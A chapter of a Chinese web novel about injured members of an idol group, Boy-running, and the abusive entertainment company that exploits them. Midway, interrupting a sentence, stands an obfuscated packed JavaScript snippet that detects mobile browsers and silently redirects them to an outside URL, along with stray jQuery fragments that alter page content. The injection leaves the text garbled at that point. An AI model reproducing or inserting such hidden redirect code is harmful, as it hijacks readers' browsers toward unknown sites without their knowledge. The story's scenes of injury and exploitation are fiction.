彩排现场的聚光灯刺得人睁不开眼。美娜抱着 Boy-running 的演出服站在侧幕，看见南向民在 3 米高台上摆出标志性的空翻姿势。他腰间的安全绳晃出虚影，汗水顺着下巴滴在银色的演出服上，像撒了把碎钻。


    “泰西哥，接着！”


    南向民的声音混着伴奏响起。吴泰西在台下张开双臂，发胶固定的背头泛着油光，却在接住队友的瞬间瞳孔骤缩 —— 安全绳断了。


    坠落的声音像袋面粉砸在地上。美娜手中的演出服掉在脚边，她听见自己的尖叫混着工作人员的惊呼，看见南向民以不自然的角度扭曲着身体，右手还保持着比心的姿势，仿佛定格在梦想破碎的瞬间。


    “救护车！快叫救护车！” 吴泰西扑过去，膝盖压在南向民渗血的胫骨上，“撑住，我们马上送你去医院！”


    南向民的嘴角溢出鲜血，却扯出个笑容：“别让替补组的人上来......” 他攥住吴泰西的衣角，指节因用力过度而泛白，“我们 Boy-running 的舞台，只能有我们六人......”


    美娜想起上周在食堂，南向民曾分给她半块辣炒年糕，说 “女生要多吃点，别学那些只吃沙拉的偶像”。此刻那个总是笑眼弯弯的男孩，正躺在血泊中，瞳孔逐渐失去焦点。


    Boy-running 的练习室弥漫着跌打损伤药的气味。美娜抱着替换的演出服推门而入时，看见六个男孩挤在地板上睡觉，金铢昊的膝盖缠着渗血的绷带，却依然保持着侧卧抬腿的姿势，像是睡着了还在练舞。


    “对不起......” 美娜的声音惊动了浅眠的林在仁，他顶着黑眼圈坐起来，颈间还挂着未摘下的麦克风，“我不是故意吵醒你们......”


    “习惯了。” 林在仁摸出止痛片，干吞下去，“每天只睡三小时，连做梦都在记舞步。” 他掀开裤腿，膝盖上新旧疤痕交错，像张丑陋的地图，“这是上周练高空抛接时撞的，医生说再这么下去会得创伤性关节炎。”


    美娜看着满地的能量饮料罐和未拆封的饭团，想起公司官微发的 “Boy-running 自律健身 vlog”，里面的他们永远活力满满，却没人知道镜头外的真实模样。她蹲下身，帮金铢昊调整绷带，发现他小腿上贴着张纸条，用铅笔写着：“坚持到出道日，就不用再吃止痛药了。”


    “别同情他们。” 林在仁突然开口，声音里带着刺骨的冷，“去年有个孩子摔断脊椎，公司赔了五百万就了事。” 他指了指墙上的合照，角落的男孩笑得灿烂，却在三个月前的舞台事故后再也没出现过，“现在他坐在轮椅上，连自己吃饭都困难。”


    美娜的手顿在半空。她想起陈云曦的抗抑郁药，想起尚琳的蝴蝶纹身，想起刘思妍母亲的贷款合同，原来在这个圈子里，身体不过是消耗品，梦想的代价从来不是汗水，而是鲜血。


    “美娜？” 吴泰西的声音从门口传来，他的指节缠着纱布，血迹渗透出来，在白色绷带上开出妖冶的花，“跟我来。”


    舞蹈室的镜子碎了一地。吴泰西靠在把杆上，脚边散落着拳头大小的玻璃碎片，其中一块还沾着血。他看着镜中自己扭曲的倒影，忽然笑了：“南向民胫骨骨折，医生说至少半年不能跳舞。” 他摸出公司刚发的新人资料，照片上的男孩笑得天真，“他们塞了个 19 岁的新人，让我‘好好照顾’。”


    美娜捡起地上的碎玻璃，锋利的边缘划破指尖：“可是南向民哥他......”


    “他？” 吴泰西打断她，“公司已经发了公告，说他因‘个人原因’暂退，由预备役成员顶上。” 他突然抓起椅子砸向残留的镜墙，“个人原因？哈！明明是他们为了不延误巡演，强行让未成年新人上台！”


    椅子撞击地面的巨响中，美娜看见吴泰西泛红的眼眶。这个在舞台上总是扮演强硬队长的男人，此刻像被抽去脊梁的困兽，声音里充满了不甘与绝望：“你知道吗？那个新人连基本的高空动作都没学过，昨天彩排时从升降台摔下来，膝盖肿得像馒头，却还在说‘谢谢公司给我机会’。”


    练习室的空调发出嗡鸣。美娜想起南向民坠落前的笑容，想起金铢昊腿上的纸条，想起林在仁说的五百万赔偿。她忽然明白，为什么 Boy-running 的应援色是红色 —— 那不是热血与激情，而是无数练习生洒在舞台上的鲜血。


    “我想退出。” 吴泰西轻声说，像是说给自己听，“但我签了十年合约，违约金高得能买下整栋 FLY 大楼。” 他看着美娜，眼神里忽然有了光，“你呢？还想当偶像吗？”


    美娜想起沈天佑做的奶油皇冠，想起天台的星光，想起尚琳的《玻璃蝴蝶》。她摸出口袋里的无糖饼干，咬下一口，全麦的麦香混着苦涩在舌尖散开：“我不知道。” 她实话实说，“但我知道，有些事必须被看见。”


    吴泰西盯着她，忽然笑了，那笑容里带着劫后余生的释然：“那就让我们试试，让这个吃人的行业，看看我们的骨头有多硬。” 他捡起一块碎玻璃，在掌心画出一道血痕，“至少，要为南向民，为所有像他一样的孩子，讨个公道。”


    深夜的 FLY 娱乐大楼依然灯火通明。美娜抱着 Boy-running 的演出服走过走廊，听见某个练习室传来压抑的哭声。她停下脚步，看见门缝里漏出的光，一个十四五岁的男孩跪在地上，对着镜子练习微笑，脸颊上还挂着未干的泪痕。


    手机在此时震动，是刘思妍发来的消息：“来看这个。” 链接里是网友剪辑的 Boy-running 历年舞台事故合集，配乐是尚琳的《玻璃蝴蝶》。评论区里，“# 抵制偶像工业暴力 #” 的话题正在发酵，点赞最高的评论写着：“他们不是商品，是有血有肉的人。”


    美娜抬头看向天花板，仿佛能看见楼上的手术室，南向民正在那里与命运搏斗。她想起他坠落前说的 “别让替补组的人上来”，忽然明白，那不是对舞台的独占欲，而是一个偶像对梦想的最后执念 —— 即使粉身碎骨，也要守护属于自己的舞台。


    “美娜！”


    林在仁的呼喊声从身后传来。美娜转身，看见他抱着堆医疗用品，绷带边缘还沾着金铢昊的血：“帮我个忙，给他们换药。” 他顿了顿，声音里第一次有了温度，“别告诉别人。”


    美娜接过药箱，跟着他走进练习室。金铢昊已经醒了，正在教新人基本的空翻技巧，额角的汗水滴在地板上，晕开小小的湿痕。吴泰西靠在窗边，手里攥着南向民的演出服，指尖轻轻摩挲着衣角的破洞。


    “疼吗？” 美娜问正在换绷带的林在仁。


    “习惯了。” 他看着她认真的模样，忽然笑了，“不过你刚才说的‘有些事必须被看见’，我有点相信了。”


    凌晨三点，美娜离开练习室时，天边已经泛起鱼肚白。她摸出手机，给沈天佑发消息：“明天能给 Boy-running 送点无糖蛋糕吗？他们需要甜的勇气。”


    回复来得很快：“已经在烤了，这次加了双倍的巧克力碎。” 附带一张照片，烤箱里的蛋糕上用奶油画着六个小人，手拉手站在星光下。


    美娜看着照片，忽然想起南向民说的 “Boy-running 的舞台只能有我们六人”。或许在这个残酷的行业里，真正的星光，不是舞台上的 LED 灯，而是那些即使遍体鳞伤，依然紧紧相握的手，是那些即使被资本碾压，依然不肯熄灭的眼神。


    而在医院的手术室门口，吴泰西握着南向民的演出服，轻声说：“等你回来，我们一起把替补席烧了。” 走廊的灯光忽明忽暗，他后颈的纹身若隐若现 —— 那是 Boy-running 的团徽，一只展翅的鹰，即使折断翅膀，也要飞向天空。


    星光不问赶路人，时光不负有心人。但在这个被资本统治的偶像世界里，他们的路，还有很长很长。美娜抬头看向天空，晨星正在逐渐隐去，却仍有几颗倔强地闪烁着，像极了练习室里那些不肯熄灭的灯，像极了少年们眼中永不消逝的光。


    凌晨四点的练习室里，金铢昊对着镜子反复调整空翻角度，膝盖的绷带已经被汗水浸透，渗出的血痕在白色纱布上蜿蜒成诡异的花。美娜攥着沈天佑连夜烤制的无糖蛋糕，隔着门缝看见他踉跄着摔倒在地，又立刻撑着地板爬起来，仿佛身体里装了永不疲倦的发条。


    “给你的。” 美娜推门而入，将用锡纸包裹的蛋糕块塞进他手里，“巧克力碎口味，没有蔗糖。”


    金铢昊愣住了，指尖触到锡纸下的温热。他忽然想起十二岁那年，母亲在他通过甄选的那天烤了蜂蜜蛋糕，却在得知练习生每月只有三百韩元生活费后，偷偷抹了眼泪。此刻掌心的温度，像极了记忆里的温暖，却多了份小心翼翼的克制。


    “谢谢。” 他的声音沙哑，带着三天未眠的疲惫，“泰西哥说，这可能是我们最后一次全员彩排。”


    美娜的胸口像被重物击中。她想起吴泰西摔碎的镜子，想起林在仁膝盖上的疤痕地图，想起南向民坠落时仍比心的手。公司高层已经在筹备新人发布会，Boy-running 的官微评论区被 “期待新成员” 的水军刷屏，仿佛那个在血泊中挣扎的少年从未存在过。


    “不会的。” 美娜听见自己说，声音里带着连她自己都惊讶的坚定，“南向民哥会回来，你们六个会一起站在舞台上。”


    金铢昊低头看着手中的蛋糕，忽然笑了，笑容里带着苦涩与释然：“知道吗？我们出道前三个月，每天只吃水煮鸡胸肉，连酱油都不敢多放。有次我偷吃了便利店的鱼糕，被队长发现后，罚跑了二十圈练习室。” 他咬下一口蛋糕，巧克力碎在舌尖化开，“现在才明白，原来真正的惩罚，不是饥饿，是眼睁睁看着梦想被别人取代。”


    走廊里传来脚步声。美娜迅速将剩下的蛋糕块塞进 Boy-running 的演出服口袋，转身撞上林在仁。后者手里攥着张诊断书，脸色比平时更苍白：“金铢昊的膝盖积液已经到了必须手术的程度，可公司说他要是敢停训，就按违约处理。”


    美娜接过诊断书，看见 “关节镜手术” 的字样在凌晨的灯光下泛着冷光。她想起沈天佑妹妹的胰岛素注射器，想起张碧弟弟的渐冻症病历，终于明白，这个行业的生存法则从来不是 “适者生存”，而是 “伤者自噬”。


    “我们该怎么办？” 金铢昊的声音里带着少年人的无助，“我不想像去年那个脊椎摔断的弟弟一样，后半辈子只能坐在轮椅上......”


    林在仁猛地转身，一拳砸在墙上：“他叫贤秀，不是‘那个弟弟’！” 他的指节渗出鲜血，却仿佛感觉不到痛，“他出事那天，我替他完成了整场演出，谢幕时台下的粉丝在喊他的名字，可公司连追悼会都没让开，说‘死人不能带来收益’。”


    美娜的眼眶发酸。她想起贤秀在合照


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467615|169829||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里的笑容，想起练习室墙上永不褪色的应援旗，忽然觉得那些闪烁的荧光棒，那些震耳欲聋的应援声，都成了最锋利的刺刀，一下下扎进少年们的心脏。


    “我有办法。” 美娜忽然开口，“把蛋糕藏在演出服里，让观众看到你们的真实状态。” 她想起尚琳的《玻璃蝴蝶》MV，想起网友剪辑的事故合集，“也许观众早就在等待一个真相，而我们，就是传递真相的人。”


    林在仁盯着她，忽然笑了，那笑容里带着破釜沉舟的决绝：“好。就这么干。”


    新人代演的首场演出在暴雨中拉开帷幕。美娜躲在侧幕，看着 19 岁的替补生在升降台上发抖。他的演出服口袋里露出锡纸一角，那是她昨晚偷偷塞进去的蛋糕块，此刻正随着他的颤抖轻轻晃动，像一面小小的白旗。


    “下面有请 Boy-running 带来新曲《Fly Higher》！”


    主持人的声音被雨声淹没。美娜看见吴泰西站在幕布后，手里攥着南向民的演出服，指节因用力而泛白。当替补生在高空抛接环节出现失误时，她听见吴泰西的低吼，看见他像道闪电冲上舞台，在新人坠落的瞬间抱住了他。


    舞台上的灯光骤然熄灭。暴雨打在顶棚上发出巨响，观众席传来此起彼伏的惊呼。美娜冲进混乱的后台，看见吴泰西正抱着昏迷的新人，膝盖跪在碎玻璃上，演出服被划破，露出里面斑驳的旧伤。


    “叫救护车！” 她抓起对讲机，却被赶来的保安夺走。


    “吴泰西，你被停训了。” 金善娅的声音从阴影里传来，高跟鞋在积水的地面敲出冰冷的节奏，“公司会以‘扰乱演出秩序’起诉你，至于这个新人......” 她踢了踢地上的蛋糕锡纸，“就让他背锅吧，反正未成年，舆论会宽容些。”


    美娜感觉浑身的血液都在逆流：“你们不能这样！”


    “不能哪样？” 金善娅挑眉，“别忘了，你也是公司的艺人，要是再管闲事，我不介意让你和 Boy-running 一起消失。” 她转身时，雨珠从伞骨滴落，在吴泰西的旧伤上绽开一朵朵深色的花，“对了，南向民的手术费，公司决定从你们的违约金里扣除，毕竟......” 她轻笑，“他的梦想，是你们害的。”


    暴雨愈发猛烈。美娜扶着吴泰西坐在后台角落，看着他腿上的玻璃碎片，忽然想起贤秀出事那天，也是这样的暴雨。林在仁不知何时蹲在身边，手里拿着沾血的蛋糕锡纸：“他们没收了所有演出服，除了这个。”


    锡纸展开的瞬间，美娜捂住嘴 —— 上面有用巧克力酱写的血书：“我们不是商品”。那是金铢昊的字迹，笔画边缘晕开的巧克力，像极了他膝盖渗出的血。


    “这是我们最后的武器。” 吴泰西扯下湿透的演出服，露出胸前的 Boy-running 团徽纹身，“帮我个忙，把这个发给尚琳，让她用《玻璃蝴蝶》的 MV 配乐。”


    美娜点头，手指在手机屏幕上飞舞。当她按下发送键的瞬间，暴雨忽然停了，一缕阳光穿过云层，照在吴泰西泛青的胡茬上，照在林在仁重新包扎的绷带上，照在那张染血的锡纸上。


    网上的舆论在十分钟内爆炸。尚琳顶着公司的压力发布了带血书的演出服照片，沈天佑的纪录片团队公布了 Boy-running 练习室的真实录像，美娜则将南向民坠落前的彩排视频剪辑成短片，配上他未说完的 “别让替补组的人上来”。


    #BoyRunning 不是商品 #的话题在半小时内登顶热搜。网友们翻出贤秀的旧微博，找出 Boy-running 历年的伤病报告，甚至有黑客曝光了 FLY 娱乐的 “新人替换” 内部文件。美娜看着手机里不断上涨的转发量，忽然听见身后传来熟悉的心跳监护仪声 —— 南向民的手术成功了，此刻正在苏醒。


    “谢谢......” 南向民的声音微弱，却清晰，“你们守住了舞台。”


    美娜看着他缠着绷带的腿，想起金铢昊藏在蛋糕里的勇气，想起吴泰西冲上舞台的背影，想起林在仁说的 “贤秀不是弟弟”。她忽然明白，真正的偶像力量，从来不是完美无缺的舞台，而是一群少年用血肉之躯对抗资本的勇气，是即使被碾成尘埃，也要在缝隙里开出花的倔强。


    深夜的 FLY 娱乐大楼前，粉丝们举着 “拒绝消费痛苦” 的灯牌。美娜站在 Boy-running 练习室的窗边，看着楼下的荧光海洋，忽然想起沈天佑说的 “星芒拿铁”。原来真正的星光，一直都在，在少年们的眼神里，在粉丝们的呐喊里，在每一个为了梦想拼尽全力的瞬间里。


    手机震动，是沈天佑发来的消息：“蛋糕店今天收到 Boy-running 粉丝的集体订单，备注都是‘多加巧克力碎’。” 附带的照片里，无数块无糖蛋糕在烤箱里散发着温暖的光，每块蛋糕上都插着小旗子，上面写着：“你们值得被看见”。


    美娜笑了，眼泪却忽然掉下来。她转头看向练习室，吴泰西正在教金铢昊做复健，林在仁在给新人讲高空动作的技巧，阳光穿过他们身后的窗户，在地面投下六个长长的影子，像六棵倔强生长的树，根系深深扎进这片布满荆棘的土壤。


    星光不问赶路人，时光不负有心人。而此刻，她终于相信，那些流过的血与泪，那些破碎的镜子与绷带，那些被资本碾碎又重新拼合的梦想，终将在某个清晨，绽放出最耀眼的光芒。